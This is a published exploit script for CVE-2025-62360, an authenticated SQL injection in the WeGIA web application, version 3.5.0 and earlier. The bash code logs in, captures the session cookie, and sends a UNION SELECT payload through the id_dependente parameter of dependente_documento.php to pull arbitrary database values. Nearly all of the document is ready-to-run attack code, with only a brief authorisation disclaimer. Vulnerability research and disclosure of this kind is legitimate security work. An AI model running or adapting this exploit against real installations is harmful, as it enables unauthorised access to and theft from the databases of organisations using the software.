WeGIA 3.5.0 SQL Injection

# Exploit Title: WeGIA 3.5.0 - SQL Injection # Date: 2025-10-14 # Exploit Author: Onur Demir (OnurDemir-Dev) # Vendor Homepage: https://www.wegia.org # Software Link: https://github.com/LabRedesCefetRJ/WeGIA/ # Version: <=3.5.0 # Tested on: Local Linux (localhost/127.0.0.1) # CVE : CVE-2025-62360 # Advisory / Reference: https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-mwvv-q9gh-gwxm # Notes: Run this script ONLY on a local/test instance you own or are authorized to test. # ============================================================ if [ -z "$4" ]; then # Usage prompt if required arguments are missing echo "Usage: $0 <target-url> <user> <password> <payload>" echo "Example: $0 http://127.0.0.1/WeGIA/ \"admin\" \"wegia\" \"version()\"" exit 1 fi url="$1" user="$2" pass="$3" payload="$4" # Check if URL format is valid (basic regex) # This is a basic sanity check for the URL string format. if ! [[ "$url" =~ ^http?://[a-zA-Z0-9._-]+ ]]; then echo "⚠️ Invalid URL format: $url" exit 1 fi # Perform login request (multipart/form) # -s silent, -w "%{http_code}" will append HTTP code to response # -D - prints response headers to stdout, combined with body in login_response login_response=$(curl -s -w "%{http_code}" "$url/html/login.php" \ -D - \ -X POST \ -F "cpf=${user}"\ -F "pwd=${pass}") # Extract last 3 chars as HTTP status code from the combined response login_status_code="${login_response: -3}" # If login did not return a 302 redirect, handle error cases if [ "$login_status_code" -ne 302 ]; then # If curl couldn't connect, curl may return 0 or empty status code if [ "$login_status_code" -eq 0 ] || [ -z "$login_status_code" ]; then echo "❌ Unable to reach URL: $url" exit 1 fi # Otherwise report unexpected login status echo "Error: Received HTTP status code from login: $login_status_code" exit 1 fi # Extract the Location header from the login response headers # Using awk to find the first Location header (case-insensitive) login_location=$(echo "$login_response" | awk -F': ' 'BEGIN{IGNORECASE=1} /^Location:/{print substr($0, index($0,$2)); exit}' | tr -d '\r') # Check username and password correctness using Location header content # If the Location does not include home.php, consider login failed. if [[ "$login_location" != *"home.php"* ]]; then # If Location contains "erro" assume wrong credentials; otherwise unknown error if [[ "$login_location" == *"erro"* ]]; then echo "Error: Wrong username or password!" else echo "Error: Unknown Error!" fi exit 1 fi # Extract Set-Cookie header (first cookie) and keep only "name=value" # tr -d '\r' removes possible CR characters set_cookie=$(echo "$login_response" | awk -F': ' 'BEGIN{IGNORECASE=1} /^Set-Cookie:/{print substr($0, index($0,$2)); exit}' | tr -d '\r') set_cookie=$(echo "$set_cookie" | cut -d';' -f1) #Exploit Vulnarbility # (The following performs the SQL injection request using the cookie obtained above) # The payload variable is used verbatim in the id_dependente parameter. # Ensure payload is provided safely in the script invocation and that you are authorized to test. # Execute the curl command and capture the output and status code response=$(curl -s -w "%{http_code}" "$url/html/funcionario/dependente_documento.php" -d "id_dependente=1 UNION+SELECT 'a','b',$payload;#" -b "$set_cookie;" -H "Content-Type: application/x-www-form-urlencoded") # Extract the HTTP status code (last 3 characters) status_code="${response: -3}" # Extract the body (everything except the last 3 characters) body="${response:0:-3}" # If the exploit request returned HTTP 200, try to extract id_doc if [ "$status_code" -eq 200 ]; then # Prefer a robust JSON extractor if available; this line uses grep -Po to capture the id_doc value including quotes. # Note: This grep returns the quoted string (e.g. "11.8.3-MariaDB-1+b1 from Debian"). clear_response=$(echo "$body" | grep -Po '"id_doc": *\K"[^"]*"') # Print the extracted value (or empty if not found) echo "$clear_response" else # Non-200 status handling echo "Error: Received HTTP status code $status_code" fi